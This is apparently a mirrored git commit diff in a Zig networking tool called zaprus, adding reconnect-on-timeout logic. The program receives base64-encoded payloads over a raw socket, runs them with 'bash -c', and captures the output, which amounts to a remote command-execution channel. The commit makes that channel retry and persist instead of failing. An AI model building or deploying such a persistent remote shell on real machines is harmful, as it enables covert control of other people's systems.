mirror of
https://git.robbyzambito.me/zaprus
synced 2026-02-04 00:14:52 +00:00
Reconnect on timeout
This commit is contained in:
28
src/main.zig
28
src/main.zig
@@ -195,6 +195,8 @@ pub fn main(init: std.process.Init) !void {
|
||||
}
|
||||
|
||||
if (flags.connect != null) {
|
||||
reconnect: while (true) {
|
||||
headers.udp.dst_port = 8888;
|
||||
const dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
|
||||
const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
|
||||
// udp dest port should not be 8888 after first
|
||||
@@ -223,10 +225,10 @@ pub fn main(init: std.process.Init) !void {
|
||||
break :blk msg_w.buffered();
|
||||
};
|
||||
|
||||
try socket.send(full_msg);
|
||||
socket.send(full_msg) catch continue;
|
||||
var res_buf: [4096]u8 = undefined;
|
||||
|
||||
var res = try socket.receive(&res_buf);
|
||||
var res = socket.receive(&res_buf) catch continue;
|
||||
|
||||
headers.udp.dst_port = udp_dest_port;
|
||||
|
||||
@@ -237,10 +239,10 @@ pub fn main(init: std.process.Init) !void {
|
||||
msg_w.writeAll(connection_bytes) catch unreachable;
|
||||
break :blk msg_w.buffered();
|
||||
};
|
||||
try socket.send(full_msg);
|
||||
socket.send(full_msg) catch continue;
|
||||
|
||||
while (true) {
|
||||
res = try socket.receive(&res_buf);
|
||||
res = socket.receive(&res_buf) catch continue :reconnect;
|
||||
const connection_res = blk: {
|
||||
const msg: SaprusMessage = try .parse(res[42..]);
|
||||
break :blk msg.connection;
|
||||
@@ -250,11 +252,11 @@ pub fn main(init: std.process.Init) !void {
|
||||
const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(connection_res.payload)];
|
||||
try b64d.decode(connection_payload, connection_res.payload);
|
||||
|
||||
const child = try std.process.spawn(init.io, .{
|
||||
const child = std.process.spawn(init.io, .{
|
||||
.argv = &.{ "bash", "-c", connection_payload },
|
||||
.stdout = .pipe,
|
||||
.stderr = .pipe,
|
||||
});
|
||||
}) catch continue;
|
||||
|
||||
var child_stdout: std.ArrayList(u8) = .empty;
|
||||
defer child_stdout.deinit(init.gpa);
|
||||
@@ -274,8 +276,8 @@ pub fn main(init: std.process.Init) !void {
|
||||
full_msg = blk: {
|
||||
var msg_buf: [2048]u8 = undefined;
|
||||
var msg_w: Writer = .fixed(&msg_buf);
|
||||
msg_w.writeAll(&headers.toBytes()) catch unreachable;
|
||||
msg_w.writeAll(connection_bytes) catch unreachable;
|
||||
msg_w.writeAll(&headers.toBytes()) catch continue;
|
||||
msg_w.writeAll(connection_bytes) catch continue;
|
||||
break :blk msg_w.buffered();
|
||||
};
|
||||
|
||||
@@ -284,6 +286,7 @@ pub fn main(init: std.process.Init) !void {
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
unreachable;
|
||||
}
|
||||
@@ -398,6 +401,10 @@ const RawSocket = struct {
|
||||
const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll)));
|
||||
if (bind_ret != 0) return error.BindError;
|
||||
|
||||
const timeout: std.os.linux.timeval = .{ .sec = 600, .usec = 0 };
|
||||
const timeout_ret = std.os.linux.setsockopt(socket, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout)));
|
||||
if (timeout_ret != 0) return error.SetTimeoutError;
|
||||
|
||||
return .{
|
||||
.fd = socket,
|
||||
.sockaddr_ll = sockaddr_ll,
|
||||
@@ -419,7 +426,7 @@ const RawSocket = struct {
|
||||
@ptrCast(&self.sockaddr_ll),
|
||||
@sizeOf(@TypeOf(self.sockaddr_ll)),
|
||||
);
|
||||
std.debug.assert(sent_bytes == payload.len);
|
||||
_ = sent_bytes;
|
||||
}
|
||||
|
||||
fn receive(self: RawSocket, buf: []u8) ![]u8 {
|
||||
@@ -431,6 +438,9 @@ const RawSocket = struct {
|
||||
null,
|
||||
null,
|
||||
);
|
||||
if (std.os.linux.errno(len) != .SUCCESS) {
|
||||
return error.Timeout; // TODO: get the real error, assume timeout for now.
|
||||
}
|
||||
return buf[0..len];
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user